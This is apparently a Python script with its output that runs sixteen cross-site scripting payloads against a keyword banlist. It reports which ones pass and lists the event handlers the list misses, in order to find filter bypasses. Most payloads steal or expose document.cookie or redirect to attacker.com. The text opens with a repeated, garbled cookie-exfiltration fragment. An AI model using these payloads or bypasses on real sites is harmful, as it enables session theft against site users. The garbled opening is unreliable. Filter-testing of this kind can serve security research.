new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie).send()', '', '', '', '', '', '', '', ' new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie).send()', '', '', '', '', '', '', '', ' new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie).send()', '', '', '', '', '', '', '', '
banlist = ["`",
        "'",
        "concat",
        "alert",
        "fetch",
        "replace",
        "[","]",
        "javascript",
        "@",
        "!",
        "%",
        "img",
        "iframe",
        "math",
        "div",
        "svg",
        "location",
        "href",
        "window",
        "open",
        "eval",
        "onerror",
        "onload",
        "onclick",
        "onanimationstart",
        "javascript:",
        "onpageshow"]

# Test payloads
payloads = [
    '<script>new XMLHttpRequest().open("GET","<http://attacker.com?c=>"+document.cookie).send()</script>',
    '<script>document.body.innerHTML=document.cookie</script>',
    '<script>new XMLHttpRequest()</script>',
    '<script>document.cookie</script>',
    '<link rel=prefetch href=http://attacker.com?c=+document.cookie>',
    '<meta http-equiv=refresh content=0;url=http://attacker.com>',
    '<base href=http://attacker.com>',
    '<object data=http://attacker.com></object>',
    '<embed src=http://attacker.com>',
    '<form action=http://attacker.com><input name=cookie></form>',
    '<video><source src=x type=video/mp4 ontimeupdate=document.body.innerHTML=document.cookie></video>',
    '<audio><source src=x type=audio/mpeg ondurationchange=document.body.innerHTML=document.cookie></audio>',
    '<details open ontoggle=document.body.innerHTML=document.cookie>',
    '<marquee onstart=document.body.innerHTML=document.cookie>',
    '<select onfocus=document.body.innerHTML=document.cookie autofocus>',
    '<input onfocus=document.body.innerHTML=document.cookie autofocus>',
]

print("Testing payloads against banlist...\\n")
for i, payload in enumerate(payloads, 1):
    payload_lower = payload.lower()
    blocked = [banned for banned in banlist if banned in payload_lower]

    if blocked:
        print(f"❌ Payload {i}: BLOCKED")
        print(f"   Triggers: {blocked}")
    else:
        print(f"✅ Payload {i}: PASSES")

    print(f"   {payload[:80]}...")
    print()

print("\\n" + "="*80)
print("Looking for bypasses...\\n")

# Find event handlers not in banlist
all_events = [
    "onabort", "onafterprint", "onbeforeprint", "onbeforeunload",
    "onblur", "oncanplay", "oncanplaythrough", "onchange",
    "ondurationchange", "onemptied", "onended", "onfocus",
    "onformdata", "onhashchange", "oninput", "oninvalid",
    "onkeydown", "onkeypress", "onkeyup", "onlanguagechange",
    "onloadeddata", "onloadedmetadata", "onloadstart", "onmessage",
    "onmousedown", "onmouseenter", "onmouseleave", "onmousemove",
    "onmouseout", "onmouseover", "onmouseup", "onoffline",
    "ononline", "onpagehide", "onpause", "onplay",
    "onplaying", "onpopstate", "onprogress", "onratechange",
    "onreset", "onresize", "onscroll", "onsearch",
    "onseeked", "onseeking", "onselect", "onshow",
    "onstalled", "onstorage", "onsubmit", "onsuspend",
    "ontimeupdate", "ontoggle", "onunload", "onvolumechange",
    "onwaiting", "onwheel", "onstart"
]

print("Event handlers NOT in banlist:")
for event in all_events:
    if event not in banlist:
        print(f"  ✅ {event}")

❌ Payload 1: BLOCKED Triggers: ['open'] <script>new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie...

✅ Payload 2: PASSES <script>document.body.innerHTML=document.cookie</script>...

✅ Payload 3: PASSES <script>new XMLHttpRequest()</script>...

✅ Payload 4: PASSES <script>document.cookie</script>...

❌ Payload 5: BLOCKED Triggers: ['fetch', 'href'] <link rel=prefetch href=http://attacker.com?c=+document.cookie>...

✅ Payload 6: PASSES <meta http-equiv=refresh content=0;url=http://attacker.com>...

❌ Payload 7: BLOCKED Triggers: ['href'] <base href=http://attacker.com>...

✅ Payload 8: PASSES <object data=http://attacker.com></object>...

✅ Payload 9: PASSES <embed src=http://attacker.com>...

✅ Payload 10: PASSES <form action=http://attacker.com><input name=cookie></form>...

✅ Payload 11: PASSES <video><source src=x type=video/mp4 ontimeupdate=document.body.innerHTML=documen...

✅ Payload 12: PASSES <audio><source src=x type=audio/mpeg ondurationchange=document.body.innerHTML=do...

❌ Payload 13: BLOCKED Triggers: ['open'] <details open ontoggle=document.body.innerHTML=document.cookie>...

✅ Payload 14: PASSES <marquee onstart=document.body.innerHTML=document.cookie>...

✅ Payload 15: PASSES <select onfocus=document.body.innerHTML=document.cookie autofocus>...

✅ Payload 16: PASSES <input onfocus=document.body.innerHTML=document.cookie autofocus>...